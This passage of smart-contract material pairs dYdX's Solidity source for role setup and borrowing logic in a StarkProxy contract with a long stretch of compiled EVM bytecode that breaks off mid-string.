WITHDRAWAL_OPERATOR_ROLE = keccak256('WITHDRAWAL_OPERATOR_ROLE'); function __SP1Roles_init( address guardian ) internal { // Assign GUARDIAN_ROLE. _setupRole(GUARDIAN_ROLE, guardian); // Assign OWNER_ROLE and DELEGATION_ADMIN_ROLE to the sender. _setupRole(OWNER_ROLE, msg.sender); _setupRole(DELEGATION_ADMIN_ROLE, msg.sender); // Set admins for all roles. (Don't use the default admin role.) _setRoleAdmin(GUARDIAN_ROLE, GUARDIAN_ROLE); _setRoleAdmin(VETO_GUARDIAN_ROLE, GUARDIAN_ROLE); _setRoleAdmin(OWNER_ROLE, OWNER_ROLE); _setRoleAdmin(DELEGATION_ADMIN_ROLE, OWNER_ROLE); _setRoleAdmin(BORROWER_ROLE, DELEGATION_ADMIN_ROLE); _setRoleAdmin(EXCHANGE_OPERATOR_ROLE, DELEGATION_ADMIN_ROLE); _setRoleAdmin(WITHDRAWAL_OPERATOR_ROLE, DELEGATION_ADMIN_ROLE); } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { ILiquidityStakingV1 } from '../../../interfaces/ILiquidityStakingV1.sol'; import { Math } from '../../../utils/Math.sol'; import { SP1Balances } from './SP1Balances.sol'; /** * @title SP1Borrowing * @author dYdX * * @dev Handles calls to the LiquidityStaking contract to borrow and repay funds. */ abstract contract SP1Borrowing is SP1Balances { using SafeMath for uint256; // ============ Events ============ event Borrowed( uint256 amount, uint256 newBorrowedBalance ); event RepaidBorrow( uint256 amount, uint256 newBorrowedBalance, bool isGuardianAction ); event RepaidDebt( uint256 amount, uint256 newDebtBalance, bool isGuardianAction ); // ============ Constructor ============ constructor( ILiquidityStakingV1 liquidityStaking, IERC20 token ) SP1Balances(liquidityStaking, token) {} // ============ External Functions ============ /** * @notice Automatically repay or borrow to bring borrowed balance to the next allocated balance. * Must be called during the blackout window, to ensure allocated balance will not change before * the start of the next epoch. Reverts if there are insufficient funds to prevent a shortfall. * * Can be called with eth_call to view amounts that will be borrowed or repaid. * * @return The newly borrowed amount. * @return The borrow amount repaid. * @return The debt amount repaid. */ function autoPayOrBorrow() external nonReentrant onlyRole(BORROWER_ROLE) returns ( uint256, uint256, uint256 ) { // Ensure we are in the blackout window. require( LIQUIDITY_STAKING.inBlackoutWindow(), 'SP1Borrowing: Auto-pay may only be used during the blackout window' ); // Get the borrowed balance, next allocated balance, and token balance. uint256 borrowedBalance = getBorrowedBalance(); uint256 nextAllocatedBalance = getAllocatedBalanceNextEpoch(); uint256 tokenBalance = getTokenBalance(); // Return values. uint256 borrowAmount = 0; uint256 repayBorrowAmount = 0; uint256 repayDebtAmount = 0; if (borrowedBalance > nextAllocatedBalance) { // Make the necessary repayment due by the end of the current epoch. repayBorrowAmount = borrowedBalance.sub(nextAllocatedBalance); require( tokenBalance >= repayBorrowAmount, 'SP1Borrowing: Insufficient funds to avoid falling short on repayment' ); _repayBorrow(repayBorrowAmount, false); } else { // Borrow the max borrowable amount. borrowAmount = getBorrowableAmount(); if (borrowAmount != 0) { _borrow(borrowAmount); } } // Finally, use remaining funds to pay any overdue debt. uint256 debtBalance = getDebtBalance(); repayDebtAmount = Math.min(debtBalance, tokenBalance); if (repayDebtAmount != 0) { _repayDebt(repayDebtAmount, false); } return (borrowAmount, repayBorrowAmount, repayDebtAmount); } function borrow( uint256 amount ) external nonReentrant onlyRole(BORROWER_ROLE) { // Disallow if the guardian has restricted borrowing. require( !_IS_BORROWING_RESTRICTED_, 'SP1Borrowing: Cannot borrow while Restricted' ); _borrow(amount); } function repayBorrow( uint256 amount ) external nonReentrant onlyRole(BORROWER_ROLE) { _repayBorrow(amount, false); } function repayDebt( uint256 amount ) external nonReentrant onlyRole(BORROWER_ROLE) { _repayDebt(amount, false); } // ============ Internal Functions ============ function _borrow( uint256 amount ) internal { LIQUIDITY_STAKING.borrow(amount); emit Borrowed(amount, getBorrowedBalance()); } function _repayBorrow( uint256 amount, bool isGovernanceAction ) internal { LIQUIDITY_STAKING.repayBorrow(address(this), amount); emit RepaidBorrow(amount, getBorrowedBalance(), isGovernanceAction); } function _repayDebt( uint256 amount, bool isGovernanceAction ) internal { LIQUIDITY_STAKING.repayDebt(address(this), amount); emit RepaidDebt(amount, getDebtBalance(), isGovernanceAction); } }
0x608060405234801561001057600080fd5b50600436106103ae5760003560e01c80635ccbbdf1116101f45780639798c6331161011a578063d1cfdb84116100ad578063e332e8491161007c578063e332e84914610735578063e3ad573914610748578063e58378bb14610750578063f76187c414610758576103ae565b8063d1cfdb84146106e9578063d547741f146106fc578063d57806a31461070f578063d808663f14610722576103ae565b8063b5e22fde116100e9578063b5e22fde14610611578063c4d66de8146106bb578063c5ebeaec146106ce578063cded1151146106e1576103ae565b80639798c63314610690578063a217fddf14610698578063af1437a3146106a0578063b56c940e146106b3576103ae565b806377eb534a1161019257806382b2e2571161016157806382b2e2571461065a57806382bfefc8146106625780638400c3071461066a57806391d148541461067d576103ae565b806377eb534a146106195780637ae0965d146106215780637e7e2ee91461063457806380a95a8514610647576103ae565b80636563c5cd116101ce5780636563c5cd146105e35780636b09de45146105f65780636d82f64514610609578063728115b514610611576103ae565b80635ccbbdf1146105c05780635f5a6949146105c857806362d7b2a3146105db576103ae565b80632de6414d116102d95780633b6edf6411610277578063584efa0011610246578063584efa001461057f5780635a39b30a146105925780635ab383e0146105a55780635ac54980146105ad576103ae565b80633b6edf6414610545578063472613bf146105585780634e2a13781461056f57806351e14cb014610577576103ae565b8063346b832a116102b3578063346b832a1461050457806336568abe1461051757806338ad07391461052a5780633b59a3d81461053d576103ae565b80632de6414d146104c95780632f2ff15d146104dc578063320aa2bc146104ef576103ae565b806313a7a778116103515780632042f5fe116103205780632042f5fe14610493578063213ecb891461049b578063248a9ca3146104ae57806324ea54f4146104c1576103ae565b806313a7a778146104475780631655348b1461045a57806316694faf1461046d5780631f43692414610480576103ae565b80630a4ac3711161038d5780630a4ac371146104065780630e752702146104195780630e7b949e1461042c57806311719cf314610434576103ae565b8062ae385f146103b357806301ffc9a7146103c857806306762feb146103f1575b600080fd5b6103c66103c13660046135cc565b610760565b005b6103db6103d6366004613613565b6107c7565b6040516103e891906137cf565b60405180910390f35b6103f96107f2565b6040516103e891906137da565b6103f96104143660046135cc565b610804565b6103c66104273660046135cc565b6108a7565b6103f96108f7565b6103c6610442366004613414565b610909565b6103f96104553660046135cc565b6109e7565b6103c6610468366004613594565b6109f9565b6103c661047b366004613513565b610a7c565b6103c661048e366004613414565b610bd5565b6103f9610cab565b6103c66104a93660046134f7565b610d40565b6103f96104bc3660046135cc565b610e03565b6103f9610e18565b6103db6104d73660046135cc565b610e2a565b6103c66104ea3660046135e4565b610e3f565b6104f7610e63565b6040516103e8919061374a565b6103c66105123660046135cc565b610e87565b6103c66105253660046135e4565b610ed7565b6103c66105383660046135cc565b610f3c565b6103f96110c7565b6103c661055336600461348c565b6110ce565b610560611186565b6040516103e893929190613e8f565b6103f9611342565b6103f96113e6565b6103f961058d3660046136fe565b611401565b6103f96105a036600461369d565b6115a5565b6104f7611636565b6103c66105bb36600461348c565b61165a565b6103f9611754565b6103c66105d6366004613513565b6117a3565b6103f9611827565b6103c66105f136600461344c565b611839565b6103c66106043660046135cc565b611965565b6103f96119b5565b6103f9611a17565b6103f9611a1e565b6103c661062f3660046134b7565b611a6d565b6103c66106423660046135cc565b611b3f565b6103f961065536600461369d565b611bf8565b6103f9611c58565b6104f7611ca7565b6103db610678366004613414565b611ccb565b6103db61068b3660046135e4565b611ce9565b6103f9611d12565b6103f9611d24565b6103c66106ae3660046136be565b611d29565b6103f9611db9565b6103c66106c9366004613414565b611e08565b6103c66106dc3660046135cc565b611f0e565b6103db611f7f565b6103f96106f7366004613653565b611f88565b6103c661070a3660046135e4565b612071565b6103c661071d36600461348c565b612090565b6103c661073036600461348c565b61213e565b6103c66107433660046136be565b6122ac565b6104f7612332565b6103f9612356565b6103f9612368565b600019603254141561078d5760405162461bcd60e51b815260040161078490613d93565b60405180910390fd5b6000196032556000805160206140c38339815191526107b3816107ae61238c565b612390565b6107be82600161252f565b50506001603255565b60006001600160e01b03198216637965db0b60e01b14806107ec57506107ec826125f5565b92915050565b600080516020613f9583398151915281565b6000600019603254141561082a5760405162461bcd60e51b815260040161078490613d93565b6000196032556000805160206140c383398151915261084b816107ae61238c565b60685460009061085b908561260e565b9050806068819055507fe34d6c65da9423c6ebbf4369a4aeb70d4b40b6082641a49546005d6eea8ce7ca8160405161089391906137da565b60405180910390a160016032559392505050565b60001960325414156108cb5760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613fd58339815191526108ec816107ae61238c565b6107be82600061266f565b600080516020613fd583398151915281565b600019603254141561092d5760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff583398151915261094e816107ae61238c565b6001600160a01b03821660009081526067602052604090205460ff166109865760405162461bcd60e51b8152600401610784906139f3565b6001600160a01b038216600090815260676020526040808220805460ff19169055517f044c906edb3e4085d5f787f6cdadfe09ad7b394589d2d5612cc84925605f1bdd916109d691859190613782565b60405180910390a150506001603255565b6000908152606a602052604090205490565b6000196032541415610a1d5760405162461bcd60e51b815260040161078490613d93565b6000196032556000805160206140c3833981519152610a3e816107ae61238c565b6069805460ff19168315151790556040517fd0e0b746bb891eab26e6356da5beca6a841588e7065d25bc7976e793dcf7caef906109d69084906137cf565b6000196032541415610aa05760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff5833981519152610ac1816107ae61238c565b833560008181526066602052604090205460ff16610af15760405162461bcd60e51b8152600401610784906138f4565b600085604051602001610b049190613735565b60408051601f1981840301815291815281516020928301206000818152606a90935291205490915080610b495760405162461bcd60e51b815260040161078490613c3b565b6000610b554283612719565b905062093a80811015610b7a5760405162461bcd60e51b815260040161078490613cf3565b610b8762093a808061260e565b811115610ba65760405162461bcd60e51b815260040161078490613855565b6000838152606a60205260408120819055610bc69089908990899061275b565b50506001603255505050505050565b6000196032541415610bf95760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff5833981519152610c1a816107ae61238c565b6001600160a01b03821660009081526067602052604090205460ff1615610c535760405162461bcd60e51b815260040161078490613ae8565b6001600160a01b03821660009081526067602052604090819020805460ff1916600190811790915590517f044c906edb3e4085d5f787f6cdadfe09ad7b394589d2d5612cc84925605f1bdd916109d691859190613782565b60006000196032541415610cd15760405162461bcd60e51b815260040161078490613d93565b6000196032556000805160206140c3833981519152610cf2816107ae61238c565b6068805460009182905560405190917fe34d6c65da9423c6ebbf4369a4aeb70d4b40b6082641a49546005d6eea8ce7ca91610d2d91906137da565b60405180910390a1915050600160325590565b6000196032541415610d645760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff5833981519152610d85816107ae61238c565b600082604051602001610d989190613735565b60408051601f1981840301815282825280516020918201206000818152606a90925291902042905591507f53eed8d2ebf5fbc956df7f404b1dc75b2cc5cbf5a4fff240eb37ee9a6d27d2b990610df190859084906137b6565b60405180910390a15050600160325550565b60009081526020819052604090206001015490565b6000805160206140c383398151915281565b60009081526066602052604090205460ff1690565b610e4882610e03565b610e54816107ae61238c565b610e5e83836127c7565b505050565b7f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad9194181565b6000196032541415610eab5760405162461bcd60e51b815260040161078490613d93565b6000196032556000805160206140c3833981519152610ecc816107ae61238c565b6107be82600161266f565b610edf61238c565b6001600160a01b0316816001600160a01b031614610f2e5760405162461bcd60e51b815260040180806020018281038252602f8152602001806140e3602f913960400191505060405180910390fd5b610f38828261284c565b5050565b6000196032541415610f605760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff5833981519152610f81816107ae61238c565b604051631dbd1da760e01b81526000906001600160a01b037f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c81690631dbd1da790610fd09086906004016137da565b60206040518083038186803b158015610fe857600080fd5b505afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190613430565b90506001600160a01b038116301461104a5760405162461bcd60e51b815260040161078490613b2b565b60008381526066602052604090205460ff16156110795760405162461bcd60e51b815260040161078490613d50565b60008381526066602052604090819020805460ff1916600190811790915590517f8dc252faef51ee9fcf59685d18c441f63fb92eae4ceb369332658b9c1861766091610df191869190613e59565b6068545b90565b60001960325414156110f25760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff5833981519152611113816107ae61238c565b6111486001600160a01b0384167f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c860006128cf565b61117c6001600160a01b0384167f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c8846128cf565b5050600160325550565b600080600060001960325414156111af5760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613fd58339815191526111d0816107ae61238c565b7f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad919416001600160a01b0316632c73c1a16040518163ffffffff1660e01b815260040160206040518083038186803b15801561122957600080fd5b505afa15801561123d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126191906135b0565b61127d5760405162461bcd60e51b815260040161078490613a80565b6000611287611342565b90506000611293611db9565b9050600061129f611c58565b90506000806000848611156112ea576112b88686612719565b9150818410156112da5760405162461bcd60e51b815260040161078490613bd1565b6112e582600061266f565b611303565b6112f26119b5565b9250821561130357611303836129e2565b600061130d611754565b90506113198186612aa3565b9150811561132c5761132c82600061252f565b5060016032559199909850909650945050505050565b60405163383f18a760e21b81526000906001600160a01b037f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad91941169063e0fc629c9061139190309060040161374a565b60206040518083038186803b1580156113a957600080fd5b505afa1580156113bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e1919061363b565b905090565b60006113e16113f3611754565b6113fb611342565b9061260e565b600060001960325414156114275760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020614043833981519152611448816107ae61238c565b600086815260666020526040902054869060ff166114785760405162461bcd60e51b8152600401610784906138f4565b6000611482611c58565b604051632505c3d960e01b81529091506001600160a01b037f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c81690632505c3d9906114d7908b908b908b908b90600401613ec2565b600060405180830381600087803b1580156114f157600080fd5b505af1158015611505573d6000803e3d6000fd5b505050506000611513611c58565b905060006115218383612719565b60695490915060ff1615611556576115376113e6565b8210156115565760405162461bcd60e51b8152600401610784906137e3565b7fdbdb3579bc9db4d05c0d930736e0d3b61dd771cea1f63fa50caba8c3528c48cf8a8a8a8460405161158b9493929190613ec2565b60405180910390a160016032559998505050505050505050565b600060001960325414156115cb5760405162461bcd60e51b815260040161078490613d93565b6000196032556000805160206140438339815191526115ec816107ae61238c565b600084815260666020526040902054849060ff1661161c5760405162461bcd60e51b8152600401610784906138f4565b61162885856000612ab9565b600160325595945050505050565b7f00000000000000000000000001d3348601968ab85b4bb028979006eac235a58881565b600019603254141561167e5760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613f9583398151915261169f816107ae61238c565b6001600160a01b038316600090815260676020526040902054839060ff166116d95760405162461bcd60e51b815260040161078490613dca565b6040516001600160a01b0385169084156108fc029085906000818181858888f1935050505015801561170f573d6000803e3d6000fd5b507fe75e3d808ecebfeaf697af718383a3ebdfef72d46375844c5e033b979138118b848460405161174192919061379d565b60405180910390a1505060016032555050565b60405163287eba9360e21b81526000906001600160a01b037f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad91941169063a1faea4c9061139190309060040161374a565b60001960325414156117c75760405162461bcd60e51b815260040161078490613d93565b6000196032556000805160206140c38339815191526117e8816107ae61238c565b60006117f2611754565b1161180f5760405162461bcd60e51b815260040161078490613987565b61181c848484600161275b565b505060016032555050565b60008051602061404383398151915281565b600019603254141561185d5760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613f9583398151915261187e816107ae61238c565b6001600160a01b038316600090815260676020526040902054839060ff166118b85760405162461bcd60e51b815260040161078490613dca565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b0316856001600160a01b0316141561190a5760405162461bcd60e51b815260040161078490613c8a565b61191e6001600160a01b0386168585612ba8565b7f01ef527fe7a42d77ea43fed1ee3dabefbdddbda555ab791fc0c6175ab6ac2e5a8585856040516119519392919061375e565b60405180910390a150506001603255505050565b60001960325414156119895760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613fd58339815191526119aa816107ae61238c565b6107be82600061252f565b60695460009060ff16156119cb575060006110cb565b60405163691d1eb360e01b81526001600160a01b037f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad91941169063691d1eb39061139190309060040161374a565b62093a8081565b6040516310841ba560e31b81526000906001600160a01b037f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad919411690638420dd289061139190309060040161374a565b6000196032541415611a915760405162461bcd60e51b815260040161078490613d93565b6000196032557f41f69eec3ae0a88a429dd80e56128f5db215a5b5dd0900d4998a2f6516c09355611ac4816107ae61238c565b60005b8281101561181c576000848483818110611add57fe5b9050602002013590506000606a6000838152602001908152602001600020819055507f3c1e7f6b864d8be56c488087601d39ab030ad32d8163eff20a9c667ea630384781604051611b2e91906137da565b60405180910390a150600101611ac7565b6000196032541415611b635760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff5833981519152611b84816107ae61238c565b60008281526066602052604090205460ff16611bb25760405162461bcd60e51b815260040161078490613941565b600082815260666020526040808220805460ff19169055517f8dc252faef51ee9fcf59685d18c441f63fb92eae4ceb369332658b9c18617660916109d691859190613e59565b60006000196032541415611c1e5760405162461bcd60e51b815260040161078490613d93565b6000196032556000805160206140c3833981519152611c3f816107ae61238c565b611c4b84846001612ab9565b6001603255949350505050565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816906370a082319061139190309060040161374a565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b6001600160a01b031660009081526067602052604090205460ff1690565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b600080516020613fb583398151915281565b600081565b6000196032541415611d4d5760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff5833981519152611d6e816107ae61238c565b600085815260666020526040902054859060ff16611d9e5760405162461bcd60e51b8152600401610784906138f4565b611dac868686866000612bfa565b5050600160325550505050565b6040516319f58e4560e31b81526000906001600160a01b037f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad91941169063cfac72289061139190309060040161374a565b6000611e12612cc0565b90506033548111611e545760405162461bcd60e51b815260040180806020018281038252602e815260200180614015602e913960400191505060405180910390fd5b6033819055611e6282612cc5565b611eb86001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48167f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad919416000196128cf565b610f386001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48167f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c86000196128cf565b6000196032541415611f325760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613fd5833981519152611f53816107ae61238c565b60695460ff1615611f765760405162461bcd60e51b8152600401610784906138a8565b6107be826129e2565b60695460ff1690565b60006000196032541415611fae5760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613f95833981519152611fcf816107ae61238c565b6040516355ea070f60e11b81526001600160a01b037f00000000000000000000000001d3348601968ab85b4bb028979006eac235a588169063abd40e1e9061201f90889088908890600401613e17565b602060405180830381600087803b15801561203957600080fd5b505af115801561204d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611628919061363b565b61207a82610e03565b612086816107ae61238c565b610e5e838361284c565b60001960325414156120b45760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613ff58339815191526120d5816107ae61238c565b61210a6001600160a01b0384167f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad9194160006128cf565b61117c6001600160a01b0384167f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad91941846128cf565b60001960325414156121625760405162461bcd60e51b815260040161078490613d93565b600019603255600080516020613f95833981519152612183816107ae61238c565b6001600160a01b038316600090815260676020526040902054839060ff166121bd5760405162461bcd60e51b815260040161078490613dca565b6068548381106121d9576121d18185612719565b606855612247565b60006121e36113e6565b905060006121ef611c58565b90508181116122105760405162461bcd60e51b815260040161078490613a39565b600061221c8284612719565b90508087111561223e5760405162461bcd60e51b815260040161078490613b7e565b50506000606855505b61227b6001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48168686612ba8565b7f024f6faf63c4f74ace9663f78bf3017b41977406b3b40fdfe5ceea62fb0b3fc3858560405161195192919061379d565b60001960325414156122d05760405162461bcd60e51b815260040161078490613d93565b6000196032556000805160206140c38339815191526122f1816107ae61238c565b60006122fb611754565b116123185760405162461bcd60e51b815260040161078490613987565b612326858585856001612bfa565b50506001603255505050565b7f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c881565b600080516020613ff583398151915281565b7f41f69eec3ae0a88a429dd80e56128f5db215a5b5dd0900d4998a2f6516c0935581565b3390565b61239a8282611ce9565b610f38576123b2816001600160a01b03166014612e10565b6123bd836020612e10565b60405160200180807f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081525060170183805190602001908083835b602083106124175780518252601f1990920191602091820191016123f8565b51815160209384036101000a60001901801990921691161790527001034b99036b4b9b9b4b733903937b6329607d1b919093019081528451601190910192850191508083835b6020831061247c5780518252601f19909201916020918201910161245d565b51815160209384036101000a60001901801990921691161790526040805192909401828103601f190183529384905262461bcd60e51b84526004840181815282516024860152825192975095508594506044909301928601915080838360005b838110156124f45781810151838201526020016124dc565b50505050905090810190601f1680156125215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b604051631e7882f760e21b81526001600160a01b037f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad9194116906379e20bdc9061257d903090869060040161379d565b600060405180830381600087803b15801561259757600080fd5b505af11580156125ab573d6000803e3d6000fd5b505050507fc9ae0106becd3d84505b74d44a008aab49d95cfd6f6950898f9491c447787328826125d9611754565b836040516125e993929190613e77565b60405180910390a15050565b6001600160e01b031981166301ffc9a760e01b14919050565b600082820183811015612668576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60405163157b6bd560e31b81526001600160a01b037f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad91941169063abdb5ea8906126bd903090869060040161379d565b600060405180830381600087803b1580156126d757600080fd5b505af11580156126eb573d6000803e3d6000fd5b505050507f0a7a20dfcdbb1f41a7e61684152d5cdf6a4ecd5dcfb6fd526989ec987fbfaa69826125d9611342565b600061266883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f6e565b6101608401351561277657612771848484612fc8565b612781565b6127818484846130b5565b604080517f21e4b75ef1f1de67a9817e37b016d384ff776db76d4f0cfd2e5bae5e0ff42978916127b991873591880135908590613e77565b60405180910390a150505050565b6127d18282611ce9565b610f38576000828152602081815260408083206001600160a01b03851684529091529020805460ff1916600117905561280861238c565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6128568282611ce9565b15610f38576000828152602081815260408083206001600160a01b03851684529091529020805460ff1916905561288b61238c565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b801580612955575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561292757600080fd5b505afa15801561293b573d6000803e3d6000fd5b505050506040513d602081101561295157600080fd5b5051155b6129905760405162461bcd60e51b815260040180806020018281038252603681526020018061408d6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052610e5e90849061316b565b60405163317afabb60e21b81526001600160a01b037f0000000000000000000000005aa653a076c1dbb47cec8c1b4d152444cad91941169063c5ebeaec90612a2e9084906004016137da565b600060405180830381600087803b158015612a4857600080fd5b505af1158015612a5c573d6000803e3d6000fd5b505050507f14a13f958d7fe38fb8529e8d43353b6d9120f52444e486a4077f68a3fc77dcbf81612a8a611342565b604051612a98929190613e69565b60405180910390a150565b6000818310612ab25781612668565b5090919050565b600080612ac4611c58565b604051630441a3e760e41b81529091506001600160a01b037f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c8169063441a3e7090612b159088908890600401613e69565b600060405180830381600087803b158015612b2f57600080fd5b505af1158015612b43573d6000803e3d6000fd5b505050506000612b51611c58565b90506000612b5f8284612719565b90507f2d88da2ef182668737869781df0b58e00bb80086db5d60f25b1543709db945bc87878388604051612b969493929190613ea5565b60405180910390a19695505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610e5e90849061316b565b60405163af1437a360e01b81526001600160a01b037f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c8169063af1437a390612c4c908890889088908890600401613ea5565b600060405180830381600087803b158015612c6657600080fd5b505af1158015612c7a573d6000803e3d6000fd5b505050507f0d38a5a8c6ec8f11451731c5d841269464aeb1225f9f70c14ef03bdb3301992e858583604051612cb193929190613e77565b60405180910390a15050505050565b600190565b612cdd6000805160206140c383398151915282613329565b612cf5600080516020613ff583398151915233613329565b612d0d600080516020613fb583398151915233613329565b612d256000805160206140c383398151915280613333565b612d5d7f41f69eec3ae0a88a429dd80e56128f5db215a5b5dd0900d4998a2f6516c093556000805160206140c3833981519152613333565b612d75600080516020613ff583398151915280613333565b612d9b600080516020613fb5833981519152600080516020613ff5833981519152613333565b612dc1600080516020613fd5833981519152600080516020613fb5833981519152613333565b612de7600080516020614043833981519152600080516020613fb5833981519152613333565b612e0d600080516020613f95833981519152600080516020613fb5833981519152613333565b50565b6060808260020260020167ffffffffffffffff81118015612e3057600080fd5b506040519080825280601f01601f191660200182016040528015612e5b576020820181803683370190505b509050600360fc1b81600081518110612e7057fe5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110612e9957fe5b60200101906001600160f81b031916908160001a905350600160028402015b6001811115612f1a576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612ee357fe5b1a60f81b828281518110612ef357fe5b60200101906001600160f81b031916908160001a90535060049490941c9360001901612eb8565b508315612668576040805162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015290519081900360640190fd5b60008184841115612fc05760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156124f45781810151838201526020016124dc565b505050900390565b6001600160a01b037f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c816632ecb81628460006020020135856001602002013586600260200201358760036020020135886004602002013589600560200201358a600660200201358b600760200201358c6008602002013515158d600960200201358e600a60200201358e8e60016040518f63ffffffff1660e01b815260040161307e9e9d9c9b9a99989796959493929190613edd565b600060405180830381600087803b15801561309857600080fd5b505af11580156130ac573d6000803e3d6000fd5b50505050505050565b6001600160a01b037f000000000000000000000000d54f502e184b6b739d7d27a6410a67dc462d69c816632ecb81628460006020020135856001602002013586600260200201358760036020020135886004602002013589600560200201358a600660200201358b600760200201358c6008602002013515158d600960200201358e600a60200201358e8e60006040518f63ffffffff1660e01b815260040161307e9e9d9c9b9a99989796959493929190613edd565b61317d826001600160a01b031661337d565b6131ce576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061320c5780518252601f1990920191602091820191016131ed565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461326e576040519150601f19603f3d011682016040523d82523d6000602084013e613273565b606091505b5091509150816132ca576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115613323578080602001905160208110156132e657600080fd5b50516133235760405162461bcd60e51b815260040180806020018281038252602a815260200180614063602a913960400191505060405180910390fd5b50505050565b610f3882826127c7565b8061333d83610e03565b60405184907fbd79b86ffe0ab8e8776151514217cd7cacd52c909f66475c3af44e129f0b00ff90600090a460009182526020829052604090912060010155565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906133b157508115155b949350505050565b60008083601f8401126133ca578182fd5b50813567ffffffffffffffff8111156133e1578182fd5b60208301915083602080830285010111156133fb57600080fd5b9250929050565b8061018081018310156107ec57600080fd5b600060208284031215613425578081fd5b813561266881613f71565b600060208284031215613441578081fd5b815161266881613f71565b600080600060608486031215613460578182fd5b833561346b81613f71565b9250602084013561347b81613f71565b929592945050506040919091013590565b6000806040838503121561349e578182fd5b82356134a981613f71565b946020939093013593505050565b600080602083850312156134c9578182fd5b823567ffffffffffffffff8111156134df578283fd5b6134eb858286016133b9565b90969095509350505050565b60006101808284031215613509578081fd5b6126688383613402565b60008060006101a08486031215613528578283fd5b6135328585613402565b925061018084013567ffffffffffffffff8082111561354f578384fd5b818601915086601f830112613562578384fd5b813581811115613570578485fd5b876020828501011115613581578485fd5b6020830194508093505050509250925092565b6000602082840312156135a5578081fd5b813561266881613f86565b6000602082840312156135c1578081fd5b815161266881613f86565b6000602082840312156135dd578081fd5b5035919050565b600080604083850312156135f6578182fd5b82359150602083013561360881613f71565b809150509250929050565b600060208284031215613624578081fd5b81356001600160e01b